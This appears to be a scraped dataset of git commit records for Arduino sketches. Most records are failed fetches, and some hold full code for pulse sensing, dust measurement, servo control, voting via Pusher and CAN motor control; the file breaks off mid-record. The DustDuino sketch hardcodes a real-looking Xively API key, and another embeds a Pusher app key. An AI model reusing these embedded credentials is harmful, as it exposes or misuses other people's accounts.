{"commit":"8d731c288be0667f18cac0b3450e05303eeba7c5","subject":"tweak to display RGB colors","message":"tweak to display RGB colors\n\nthis tweak of the example pulses the Red, Green and Blue leds\n","repos":"prpplague\/Userspace-Arduino,bugobliterator\/BUAGI,prpplague\/Userspace-Arduino,bugobliterator\/BUAGI,bugobliterator\/BUAGI,bugobliterator\/BUAGI,prpplague\/Userspace-Arduino,prpplague\/Userspace-Arduino,bugobliterator\/BUAGI,bugobliterator\/BUAGI","old_file":"arduino-makefile\/examples\/PWM\/PWM.ino","new_file":"arduino-makefile\/examples\/PWM\/PWM.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/prpplague\/Userspace-Arduino.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"a6b9c2515e96f8cbd717986074000eaee0578aeb","subject":"removed height","message":"removed height\n","repos":"sassystacks\/DASS","old_file":"Sensors\/Final_Lidar_Pixy_code_RichardEdit\/Final_Lidar_Pixy_code_RichardEdit.ino","new_file":"Sensors\/Final_Lidar_Pixy_code_RichardEdit\/Final_Lidar_Pixy_code_RichardEdit.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sassystacks\/DASS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a600402ae45326c56acf8617188e879ad1833e54","subject":"ok, continous movement when target is reached - not too shabby","message":"ok, continous movement when target is reached - not too shabby\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"660f689151e5028ef78885ad000162586e9ba337","subject":"added example folder, with pulse sensor code","message":"added example folder, with pulse sensor code\n","repos":"shenkarSElab\/nanoRF,shenkarSElab\/nano24rf,shenkarSElab\/nanoRF,shenkarSElab\/nano24rf","old_file":"examples\/pulseSensor\/PulseSensor.ino","new_file":"examples\/pulseSensor\/PulseSensor.ino","new_contents":"\/*\n * 15\/05\/2017 - interrupt changes by zohar mf from shenkar SE lab for the Tshield wearable kit\n * https:\/\/github.com\/shenkarSElab\/nanoRF\n *\n * Based on Joel Murphy and Yury Gitman's Pulse Sensor code, at\n * https:\/\/github.com\/WorldFamousElectronics\/PulseSensor_Amped_Arduino\/blob\/master\/README.md\n *\n * Example Pulse Sensors:\n * Pulse Sensor Amped (http:\/\/www.pulsesensor.com)\n * available through SparkFun, Adafruit, and others.\n * Grove Pulse Sensor (TODO)\n * \n * This code has been tested with the Pulse Sensor Amped\n * and Arduino Uno.\n * \n * Copyright (c) 2016 Bradford Needham, North Plains, Oregon, USA\n * @bneedhamia, https:\/\/www.needhamia.com\n * Licensed under the MIT License, a copy of which\n * should have been included with this software.\n * \n * This software is not intended for medical use.\n *\/\n \n#include <PulseSensorBPM.h>\n\n\/*\n * Pinout:\n * HAS_A_REF = set to true if you have connected\n * the pulse sensor power pin to A-REF.\n * If you are powering the pulse sensor below 5V,\n * you must set HAS_A_REF to true.\n * PIN_INPUT = Analog Input. Connected to the pulse sensor\n * purple (signal) wire.\n * PIN_BLINK = digital Output. Connected to an LED (and 220 ohm resistor)\n * that will flash on each detected pulse.\n * PIN_FADE = digital Output. Connected to an LED (and resistor)\n * that will smoothly fade with each pulse.\n *\/\nconst boolean HAS_A_REF = false;\nconst int PIN_INPUT = A0;\nconst int PIN_BLINK = 4; \/\/ Pin 4\nconst int PIN_FADE = 5; \/\/ must be a pin that supports PWM. Can't be pin 9 or 10 (see ISR()).\n\n\/*\n * Planned time (microseconds) between calls to readSensor().\n * Note: interruptSetup() assumes this value is 2 milliseconds (2000 microseconds).\n *\/\nconst unsigned long MICROS_PER_READ = 2 * 1000L;\n\n\/\/ PWM steps per fade step. More fades faster; less fades slower.\nconst int PWM_STEPS_PER_FADE = 12;\n\n\/* \n * fadePWM = Pulse Width Modulation value for our fading LED\n * (0 = off; 255 = full on)\n *\/\nint fadePWM;\n\n\/*\n * The per-sample processing code.\n *\/\nPulseSensorBPM pulseDetector(PIN_INPUT, MICROS_PER_READ \/ 1000L);\n\n\/*\n * If true, we've seen a beat that hasn't yet been printed.\n * Set in the ISR.\n * Cleared in loop().\n *\/\nvolatile boolean QS;\n\nvoid setup() {\n \/*\n * Use 115200 baud because that's what the Processing Sketch expects to read,\n * and because that speed provides about 11 bytes per millisecond.\n * \n * If we used a slower baud rate, we'd likely write bytes faster than\n * they can be transmitted, which would mess up the timing\n * of readSensor() calls, which would make the pulse measurement\n * not work properly.\n *\/\n Serial.begin(115200);\n\n \/\/ Set up the I\/O pins\n \n if (HAS_A_REF) {\n analogReference(EXTERNAL);\n }\n \/\/ PIN_INPUT is set up by the pulseDetector constructor.\n pinMode(PIN_BLINK, OUTPUT);\n digitalWrite(PIN_BLINK, LOW);\n pinMode(PIN_FADE, OUTPUT);\n fadePWM = 0;\n analogWrite(PIN_FADE, fadePWM); \/\/ sets PWM duty cycle\n\n QS = false;\n interruptSetup(); \/\/ start the interrupt timer.\n}\n\nvoid loop() {\n \n \/*\n * Every so often, send the latest Sample to the Processing Sketch.\n * We don't print every sample, because our baud rate\n * won't support that much I\/O.\n *\/\n delay(20);\n \n Serial.print('S');\n Serial.println(pulseDetector.getSignal());\n\n \/\/ Coincidentally, fade the LED a bit.\n fadePWM -= PWM_STEPS_PER_FADE;\n if (fadePWM < 0) {\n fadePWM = 0;\n }\n analogWrite(PIN_FADE, fadePWM);\n\n \/\/ Blink the non-fading LED when the start of a pulse is detected.\n if (pulseDetector.isPulse()) {\n digitalWrite(PIN_BLINK, HIGH);\n } else {\n digitalWrite(PIN_BLINK, LOW);\n }\n\n \/\/ If the ISR has seen a beat, print the per-beat information.\n if (QS) {\n fadePWM = 255; \/\/ start fading on the start of each beat.\n analogWrite(PIN_FADE, fadePWM);\n \n Serial.print('B');\n Serial.println(pulseDetector.getBPM());\n Serial.print('Q');\n Serial.println(pulseDetector.getIBI());\n if (pulseDetector.getBPM()>80)\n HIGHbpm();\n if (pulseDetector.getBPM()<78)\n LOWbpm();\n QS = false;\n }\n}\n\nvoid HIGHbpm(){\n Serial.println(\" HIGH BPM \");\n \/\/put your code here\n}\nvoid LOWbpm(){\n Serial.println(\" LOW BPM \");\n \/\/put your code here\n}\n\n\n\/*\n * Sets up a Timer Interrupt for every 2ms\n *\/\nvoid interruptSetup(){ \n\/\/ Initializes Timer1 to throw an interrupt every 2mS.\nTCCR1A = 0x00; \/\/ DISABLE OUTPUTS AND BREAK PWM ON DIGITAL PINS 9 & 10\nTCCR1B = 0x11; \/\/ GO INTO 'PHASE AND FREQUENCY CORRECT' MODE, NO PRESCALER\nTCCR1C = 0x00; \/\/ DON'T FORCE COMPARE\nTIMSK1 = 0x01; \/\/ ENABLE OVERFLOW INTERRUPT (TOIE1)\nICR1 = 16000; \/\/ TRIGGER TIMER INTERRUPT EVERY 1mS \nsei(); \/\/ MAKE SURE GLOBAL INTERRUPTS ARE ENABLED\n} \n\n\/\/Read more: http:\/\/pulsesensor.proboards.com\/thread\/144\/using-timer1-timer2-free-pin#ixzz4glL7U0zB\n\/\/ THIS IS THE TIMER 2 INTERRUPT SERVICE ROUTINE. \n\/\/ Timer 2 makes sure that we take a reading every 2 miliseconds\nISR(TIMER1_OVF_vect){ \/\/ triggered when Timer2 counts to 124\n cli(); \/\/ disable interrupts while we do this\n if (pulseDetector.readSensor()) {\n QS = true;\n }\n sei(); \/\/ enable interrupts when youre done!\n}\/\/ end isr\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/pulseSensor\/PulseSensor.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"4613963e3c24bd4b4799dee9e6c653d06f7fe5af","subject":"Moved setup() and loop() to avoid the problem of missing declarations when compiling on linux based OS","message":"Moved setup() and loop() to avoid the problem of missing declarations when compiling on linux based OS\n","repos":"SaltyViper\/esp8266_deauther,SaltyViper\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,SaltyViper\/esp8266_deauther,SaltyViper\/esp8266_deauther","old_file":"esp8266_deauther\/esp8266_deauther.ino","new_file":"esp8266_deauther\/esp8266_deauther.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ArtursGailis1995\/esp8266_deauther.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ae30634abd4098fc3976d6d2c6d931bbc68d03f5","subject":"Removed useless listener","message":"Removed useless listener\n","repos":"ArtursGailis1995\/esp8266_deauther,SaltyViper\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,SaltyViper\/esp8266_deauther,SaltyViper\/esp8266_deauther,SaltyViper\/esp8266_deauther","old_file":"esp8266_deauther\/esp8266_deauther.ino","new_file":"esp8266_deauther\/esp8266_deauther.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ArtursGailis1995\/esp8266_deauther.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7e7a5588c61f55d0989484e250767af2f279ea61","subject":"Adding the sketch for Adruiono setup with DustDuino","message":"Adding the sketch for Adruiono setup with DustDuino\n","repos":"developmentseed\/dustduino-map,developmentseed\/dustduino-map,developmentseed\/dustduino-map,developmentseed\/dustduino-map","old_file":"devseed_dustduino.ino","new_file":"devseed_dustduino.ino","new_contents":"\/\/ DUSTDUINO v1.0\n\/\/ Released 18 October 2013\n\/\/\n\/\/ This software is released as-is, without warranty,\n\/\/ under a Creative Commons Attribution-ShareAlike\n\/\/ 3.0 Unported license. For more information about\n\/\/ this license, visit:\n\/\/ http:\/\/creativecommons.org\/licenses\/by-sa\/3.0\/\n\/\/\n\/\/ Written by Matthew Schroyer, except where specified.\n\/\/ For more information on building a DustDuino, visit:\n\/\/ http:\/\/www.mentalmunition.com\/2013\/10\/measure-air-pollution-with-dustduino-of.html\n\n\/*888888888888888888888888888888888888888888888888888888888888888888888888888888888888*\/\n\n\/\/ WiFlyHQ Library written by Harlequin-Tech.\n\/\/ Available at: https:\/\/github.com\/harlequin-tech\/WiFlyHQ\n#include <WiFlyHQ.h>\n#include <avr\/wdt.h>\n\nunsigned long starttime;\n\nunsigned long triggerOnP1;\nunsigned long triggerOffP1;\nunsigned long pulseLengthP1;\nunsigned long durationP1;\nboolean valP1 = HIGH;\nboolean triggerP1 = false;\n\nunsigned long triggerOnP2;\nunsigned long triggerOffP2;\nunsigned long pulseLengthP2;\nunsigned long durationP2;\nboolean valP2 = HIGH;\nboolean triggerP2 = false;\n\nfloat ratioP1 = 0;\nfloat ratioP2 = 0;\nunsigned long sampletime_ms = 30000;\nfloat countP1;\nfloat countP2;\n\nWiFly wifly;\nvoid terminal();\n\n#define APIKEY \"cwiSJa0baotdyYSa8rsAX74MdxyX01uVndIoV3vjPkCCuRzO\" \/\/ your cosm api key\n#define FEEDID 811174732 \/\/ your feed ID\n#define USERAGENT \"upstairs\" \/\/ user agent is the project name\n#define WIFISSID \"Mapbox\" \/\/Wifi SSID\n#define PASSPHRASE \"XXXXXX\" \/\/Wifi Pass Key\n\nconst char server[] = \"api.xively.com\";\n\nvoid setup(){\n Serial.begin(9600);\n wifly.begin(&Serial, NULL);\n \n wifly.setSSID(WIFISSID);\n wifly.setPassphrase(PASSPHRASE);\n wifly.enableDHCP();\n wifly.join();\n \n pinMode(8, INPUT);\n wdt_enable(WDTO_8S);\n starttime = millis();\n}\n\nvoid loop(){\n \n valP1 = digitalRead(8);\n valP2 = digitalRead(9);\n \n if(valP1 == LOW && triggerP1 == false){\n triggerP1 = true;\n triggerOnP1 = micros();\n }\n \n if (valP1 == HIGH && triggerP1 == true){\n triggerOffP1 = micros();\n pulseLengthP1 = triggerOffP1 - triggerOnP1;\n durationP1 = durationP1 + pulseLengthP1;\n triggerP1 = false;\n }\n \n if(valP2 == LOW && triggerP2 == false){\n triggerP2 = true;\n triggerOnP2 = micros();\n }\n \n if (valP2 == HIGH && triggerP2 == true){\n triggerOffP2 = micros();\n pulseLengthP2 = triggerOffP2 - triggerOnP2;\n durationP2 = durationP2 + pulseLengthP2;\n triggerP2 = false;\n }\n \n wdt_reset();\n\n \/\/ Function creates particle count and mass concentration\n \/\/ from PPD-42 low pulse occupancy (LPO).\n if ((millis() - starttime) > sampletime_ms) {\n \n \/\/ Generates PM10 and PM2.5 count from LPO.\n \/\/ Derived from code created by Chris Nafis\n \/\/ http:\/\/www.howmuchsnow.com\/arduino\/airquality\/grovedust\/\n \n ratioP1 = durationP1\/(sampletime_ms*10.0);\n ratioP2 = durationP2\/(sampletime_ms*10.0);\n countP1 = 1.1*pow(ratioP1,3)-3.8*pow(ratioP1,2)+520*ratioP1+0.62;\n countP2 = 1.1*pow(ratioP2,3)-3.8*pow(ratioP2,2)+520*ratioP2+0.62;\n float PM10count = countP2;\n float PM25count = countP1 - countP2;\n \n \/\/ Assues density, shape, and size of dust\n \/\/ to estimate mass concentration from particle\n \/\/ count. This method was described in a 2009\n \/\/ paper by Uva, M., Falcone, R., McClellan, A.,\n \/\/ and Ostapowicz, E.\n \/\/ http:\/\/wireless.ece.drexel.edu\/research\/sd_air_quality.pdf\n \n \/\/ begins PM10 mass concentration algorithm\n double r10 = 2.6*pow(10,-6);\n double pi = 3.14159;\n double vol10 = (4\/3)*pi*pow(r10,3);\n double density = 1.65*pow(10,12);\n double mass10 = density*vol10;\n double K = 3531.5;\n float concLarge = (PM10count)*K*mass10;\n \n \/\/ next, PM2.5 mass concentration algorithm\n double r25 = 0.44*pow(10,-6);\n double vol25 = (4\/3)*pi*pow(r25,3);\n double mass25 = density*vol25;\n float concSmall = (PM25count)*K*mass25;\n \n sendData(concLarge, concSmall, PM10count, PM25count);\n \n durationP1 = 0;\n durationP2 = 0;\n starttime = millis();\n wdt_reset();\n }\n }\n \n \/\/ WiFly HTTP connection to the Xively server.\n \/\/ Patchube client originally written 15 March 2010 by Tom Igoe,\n \/\/ Usman Haque, and Joe Saavedra at http:\/\/arduino.cc\/en\/Tutorial\/PachubeCient\n \/\/ Modified to work with WiFly RN-XV and Xively.\nvoid sendData(int PM10Conc, int PM25Conc, int PM10count, int PM25count) {\n wifly.open(server, 80);\n wifly.print(\"PUT \/v2\/feeds\/\");\n wifly.print(FEEDID);\n wifly.println(\".csv HTTP\/1.1\");\n wifly.println(\"Host: api.xively.com\");\n wifly.print(\"X-ApiKey: \");\n wifly.println(APIKEY);\n wifly.print(\"User-Agent: \");\n wifly.println(USERAGENT);\n wifly.print(\"Content-Length: \");\n\n \/\/ Calculates the length of the sensor reading in bytes:\n int thisLength = 35 + getLength(PM10Conc) + getLength(PM25Conc) + getLength(PM10count) + getLength(PM25count);\n wifly.println(thisLength);\n\n \/\/ last pieces of the HTTP PUT request:\n wifly.println(\"Content-Type: text\/csv\");\n wifly.println(\"Connection: close\");\n wifly.println();\n\n \/\/ here's the actual content of the PUT request:\n wifly.print(\"PM10,\");\n wifly.println(PM10Conc);\n wifly.print(\"PM25,\");\n wifly.println(PM25Conc);\n wifly.print(\"PM10count,\");\n wifly.println(PM10count);\n wifly.print(\"PM25count,\");\n wifly.println(PM25count);\n wifly.close();\n}\n \n \/\/ This function also is derived from\n \/\/ the Patchube client sketch. Returns\n \/\/ number of digits, which Xively needs\n \/\/ to post data correctly.\n int getLength(int someValue) {\n int digits = 1;\n int dividend = someValue \/10;\n while (dividend > 0) {\n dividend = dividend \/10;\n digits++;\n }\n return digits;\n}\n\n\/\/ This function connects the WiFly to serial.\n\/\/ Developed by Harlequin-Tech for the WiFlyHQ library.\n\/\/ https:\/\/github.com\/harlequin-tech\/WiFlyHQ\n\nvoid terminal()\n{\n while (1) {\n\tif (wifly.available() > 0) {\n\t Serial.write(wifly.read());\n\t}\n\n\n\tif (Serial.available() > 0) {\n\t wifly.write(Serial.read());\n\t}\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'devseed_dustduino.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"bb7cbd1bfeb981e3ebddbf6892703dc2e04d1f24","subject":"add light sensor","message":"add light sensor\n","repos":"timson\/yaws,timson\/yaws","old_file":"arduino\/outdoor\/outdoor.ino","new_file":"arduino\/outdoor\/outdoor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/timson\/yaws.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c4cbf04f6b9b2c69c2731a0aabb2c0015e25f795","subject":"arduino_added","message":"arduino_added\n","repos":"paulperrone\/twitch-IRC","old_file":"arduino\/twitch_to_servo.ino","new_file":"arduino\/twitch_to_servo.ino","new_contents":"#include <Servo.h>\n\nServo myservo00;\n\/\/Servo myservo01;\n\/\/Servo myservo02;\n\/\/Servo myservo03;\n\/\/Servo myservo04;\n\/\/Servo myservo05;\n\/\/Servo myservo06;\n\/\/Servo myservo07;\n\/\/Servo myservo08;\n\/\/Servo myservo09;\n\/\/Servo myservo10;\n\/\/Servo myservo11;\n\/\/Servo myservo12;\n\nint incomingByte = 0; \/\/ for incoming serial data\nint pos = 0; \/\/ variable to store the servo position\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Ready to go!\");\n myservo00.attach(9); \/\/ attaches the servo on pin 9 to the servo object\n}\n\nvoid loop() {\n \/\/ the value in incominByte should be an ASCii conversion to Decimal numbers.\n \/\/Use https:\/\/www.branah.com\/ascii-converter for easy conversions\n\n if (Serial.available() != 0) {\n incomingByte = Serial.read();\n if (incomingByte == 49) { \n servoSweep();\n }\n else if (incomingByte == 50) {\n miniSweep();\n }\n else if (incomingByte == 51) {\n wildThing();\n }\n }\n}\n\nvoid macroRunner(int macroNumber) {\n if (macroNumber == 0) {\n servoSweep();\n }\n else if (macroNumber == 1) {\n myservo00.write(35);\n incomingByte = 0; \n }\n}\n\nvoid servoSweep() {\n for (pos = 0; pos <= 180; pos += 1) { \/\/ goes from 0 degrees to 180 degrees\n \/\/ in steps of 1 degree\n myservo00.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(5); \/\/ waits 15ms for the servo to reach the position\n }\n for (pos = 180; pos >= 0; pos -= 1) { \/\/ goes from 180 degrees to 0 degrees\n myservo00.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(5);\n }\n incomingByte = 0;\n}\n\nvoid miniSweep() {\n for (pos = 30; pos <= 150; pos += 1) { \/\/ goes from 0 degrees to 180 degrees\n \/\/ in steps of 1 degree\n myservo00.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(5); \/\/ waits 15ms for the servo to reach the position\n }\n for (pos = 150; pos >= 30; pos -= 1) { \/\/ goes from 180 degrees to 0 degrees\n myservo00.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(15);\n }\n incomingByte = 0;\n}\n\nvoid wildThing() {\n myservo00.write(180);\n delay(150);\n myservo00.write(30);\n delay(150);\n myservo00.write(90);\n delay(150);\n myservo00.write(0);\n delay(0);\n myservo00.write(180);\n\n}\n\nvoid setAllToZero() {\n myservo00.write(0);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/twitch_to_servo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9124f9bfe3c3479eec5e7d294e52e1bfe7fd8a9b","subject":"Initial Arduino with Onboard Server for Choose_Video","message":"Initial Arduino with Onboard Server for Choose_Video","repos":"ssdongdongwang\/arisgames,ssdongdongwang\/arisgames,ssdongdongwang\/arisgames,ssdongdongwang\/arisgames,ssdongdongwang\/arisgames,ssdongdongwang\/arisgames,ssdongdongwang\/arisgames,ssdongdongwang\/arisgames","old_file":"server\/pusher\/choose_video.ino","new_file":"server\/pusher\/choose_video.ino","new_contents":"#include <PusherClient.h>\n#include <Ethernet.h>\n#include <SPI.h>\n\nchar subscribe[] = \"choose_video\";\nchar receive_channel[] = \"choose_video\";\nString pusher_channel = \"choose_video\";\nString pusher_event_register = \"arduino_event_register\";\nString fact[] = {\"a\", \"b\",\"c\", \"JacobHanshaw\"};\nint fact_delays[] = { 4000, 4000, 4000, 4000};\nint facts = 4;\n\nEthernetClient arisClient;\nPusherClient pusherClient;\n\nbyte mac[] = { \n 0x90, 0xA2, 0xDA, 0x0C, 0x00, 0x83 };\nbyte aris[] = { \n 50, 56, 80, 147 };\n\nconst int relayPin1 = 2;\nconst int relayPin2 = 3;\nconst int video_over = 6;\n\nint video1Votes = 0;\nint video2Votes = 0;\nint members = 0;\n\nvoid setup() {\n \/\/Serial.begin(9600);\n Serial.println(\"Setup...\");\n Ethernet.begin(mac); \/\/,ip\n delay(1000); \/\/Give time to initialize before connecting\n\n pinMode(relayPin1, OUTPUT);\n pinMode(relayPin2, OUTPUT);\n \/\/pinMode(video_over, INPUT);\n\n while(!pusherClient.connect(\"7fe26fe9f55d4b78ea02\")){}\n while(!pushMessage(pusher_channel, pusher_event_register, \"success\")) {}\n pusherClient.bind(\"Member_Added\", memberAdd);\n pusherClient.bind(\"Member_Removed\", memberRemove);\n pusherClient.bind(\"Cast_Vote\", eventHandler);\n \/\/ pusherClient.bindAll(eventHandler);\n \/\/ pusherClient.bind(subscribe, eventHandler);\n pusherClient.subscribe(receive_channel);\n Serial.println(\"Pusher Connect Success!\");\n} \n\n\nvoid loop() {\n pusherClient.monitor();\n if(members > 0){\n \/\/Begin the login time\n long startTime = millis();\n while((millis() -startTime) <= 15000){\n pusherClient.monitor();\n int time = (millis()-startTime);\n if(time % 1000 <= 10){\n String output = (String)time;\n while(!pushMessage(pusher_channel, \"Clock_Time\", output)) { }\n }\n }\n \/\/Begin Voting\n while(!pushMessage(pusher_channel, \"Begin_Voting\", \"\")) { }\n startTime = millis();\n while((millis() -startTime) <= 30000 && members != (video1Votes + video2Votes)){\n pusherClient.monitor();\n }\n \/\/Voting Complete, trigger the pin\n if(video1Votes >= video2Votes){\n digitalWrite(relayPin1, HIGH);\n delay(500);\n digitalWrite(relayPin1, LOW);\n Serial.println(\"Video 1 Wins!\");\n }\n else{\n digitalWrite(relayPin2, HIGH);\n delay(500);\n digitalWrite(relayPin2, LOW);\n Serial.println(\"Video 2 Wins!\");\n }\n video1Votes = 0;\n video2Votes = 0;\n \n \/\/Tell clients, Voting is complete\n while(!pushMessage(pusher_channel, \"Done_Voting\", \"\")) { \n }\n delay(2000);\n for(int i = 0; i < facts; i++){\n while(!pushMessage(pusher_channel, \"Message\", fact[i])) { }\n delay(fact_delays[i]);\n }\n \/\/while(digitalRead(video_over) == LOW) { }\n while(!pushMessage(pusher_channel, \"Video_Over\", \"\")) { \n }\n }\n}\n\nvoid memberAdd(String data) {\n members++;\n \/\/ Serial.println(\"Members: \");\n \/\/ Serial.println(members);\n}\n\nvoid memberRemove(String data) {\n if(members-1>=0){\n members--;\n }\n\/\/ Serial.println(\"Members: \");\n\/\/ Serial.println(members);\n}\n\nvoid eventHandler(String data) {\n \/\/Serial.println(data);\n int firstColon = data.indexOf(':');\n int secondColon = data.indexOf(':', firstColon + 1 );\n int start = secondColon + 4;\n int endQuote = data.indexOf('\"', start);\n int endofData = endQuote -1;\n String importantData = data.substring(start, endofData);\n \/\/ Serial.println(importantData);\n if(importantData.charAt(0) == 'v'){\n importantData = importantData.substring(1);\n char pointer[importantData.length()];\n for(int i = 0; i < importantData.length(); i++){\n pointer[i] = importantData.charAt(i);\n }\n int vote = atoi(pointer);\n if(vote == 1){\n \/\/ Serial.println(\"1\");\n video1Votes++;\n String votes = (String)video1Votes;\n votes += \"^\";\n votes += video2Votes;\n Serial.println(votes);\n while(!pushMessage(pusher_channel, \"Vote\", votes)) { \n }\n }\n else if(vote == 2){\n \/\/ Serial.println(\"2\");\n video2Votes++;\n String votes = (String)video1Votes;\n votes += \"^\";\n votes += video2Votes;\n Serial.println(votes);\n while(!pushMessage(pusher_channel, \"Vote\", votes)) { \n }\n }\n }\n else{\n \/\/ Serial.println(\"ERROR: \" + data);\n }\n}\n\nboolean pushMessage(String channel, String event, String data){\n if(arisClient.connect(aris, 80)){\n String request = \"GET \/server\/pusher\/public_send.php?channel=\"; \/\/change when updated\n request += channel;\n request += \"&event=\";\n request += event;\n request += \"&data=\";\n request += data;\n request += \" HTTP\/1.0\";\n arisClient.println(request);\n arisClient.println();\n arisClient.stop();\n return true;\n }\n return false;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'server\/pusher\/choose_video.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8a1028ae3551b235bffd3ac592be2c81603211df","subject":"Add: DC_motor_CAN.ino","message":"Add: DC_motor_CAN.ino\n","repos":"hdh7485\/AVEES_scale_car,hdh7485\/AVEES_scale_car,hdh7485\/AVEES_scale_car","old_file":"arduino\/DC_motor_CAN\/DC_motor_CAN.ino","new_file":"arduino\/DC_motor_CAN\/DC_motor_CAN.ino","new_contents":"\/\/ demo: CAN-BUS Shield, send data\n\/\/ loovee@seeed.cc\n\n#include <mcp_can.h>\n#include <SPI.h>\n\n\/\/ the cs pin of the version after v1.1 is default to D9\n\/\/ v0.9b and v1.0 is default D10\nconst int SPI_CS_PIN = 9;\n\nMCP_CAN CAN(SPI_CS_PIN); \/\/ Set CS pin\n\nunsigned char rotate[8] = {0x1C, 0x72, 0x00, 0x01, 0x00, 0x00, 0x50, 0x41};\nunsigned char st[8] = {0x1C, 0x72, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00};\n\nunsigned char motor_1_on[6] = {0x14, 0x65, 0x00, 0x01, 0x00, 0x01};\nunsigned char motor_1_off[8] = {0x14, 0x65, 0x00, 0x01, 0x00, 0x00};\nunsigned char motor_1_quick_stop[6] = {0x14, 0x65, 0x00, 0x01, 0x00, 0x07};\n\nint statement_flag = 1;\n\/\/0: motor power on\n\/\/1: motor power stop\n\/\/2: quick stop (like emergency stop)\n\nvoid setup(){\n Serial.begin(9600);\n\n while (CAN_OK != CAN.begin(CAN_500KBPS)) {\n Serial.println(\"CAN BUS Shield init fail\");\n Serial.println(\" Init CAN BUS Shield again\");\n delay(100);\n }\n Serial.println(\"CAN BUS Shield init ok!\");\n\/\/ CAN.sendMsgBuf(0x01, 0, 8, motor_1_on);\n}\n\nvoid loop(){\n\/\/ CAN.sendMsgBuf(0x01, 0, 8, rotate);\n if(Serial.available() > 0) {\n statement_flag = Serial.read() - 48;\n }\n \n switch (statement_flag) {\n case 0:\n CAN.sendMsgBuf(0x01, 0, 8, rotate);\n Serial.println(statement_flag);\n break;\n case 1:\n CAN.sendMsgBuf(0x01, 0, 8, st);\n Serial.println(statement_flag);\n break;\n }\n delay(100);\n}\n\n\/\/ END FILE\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/DC_motor_CAN\/DC_motor_CAN.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5054a9994b923579641448cc3f0ab14af75dd375","subject":"trying to get the tuning variables","message":"trying to get the tuning variables\n","repos":"HelsinkiHacklab\/urpobotti,HelsinkiHacklab\/urpobotti,HelsinkiHacklab\/urpobotti,HelsinkiHacklab\/urpobotti","old_file":"arduino\/pid_autotune\/pid_autotune.ino","new_file":"arduino\/pid_autotune\/pid_autotune.ino","new_contents":"\n#define EMF_SAMPLE_INTERVAL 20 \/\/ 20ms -> 50Hz\n#define M1_ENABLE_PIN 4\n#define M2_ENABLE_PIN 7\n#define M1_PWM_PIN 5\n#define M2_PWM_PIN 6\n#define M1_FWD_MEAS A2\n#define M1_BWD_MEAS A3\n#define M2_FWD_MEAS A0\n#define M2_BWD_MEAS A1\n\n\nint16_t m1_speed;\nint16_t m2_speed;\nint16_t m1_measured;\nint16_t m2_measured;\n\n\/\/ Define various ADC prescaler\nconst unsigned char PS_16 = (1 << ADPS2);\nconst unsigned char PS_32 = (1 << ADPS2) | (1 << ADPS0);\nconst unsigned char PS_64 = (1 << ADPS2) | (1 << ADPS1);\nconst unsigned char PS_128 = (1 << ADPS2) | (1 << ADPS1) | (1 << ADPS0);\n\n\nvoid setSpeeds(int16_t m1value, int16_t m2value)\n{\n m1_speed = constrain(m1value, -127, 127);\n m2_speed = constrain(m2value, 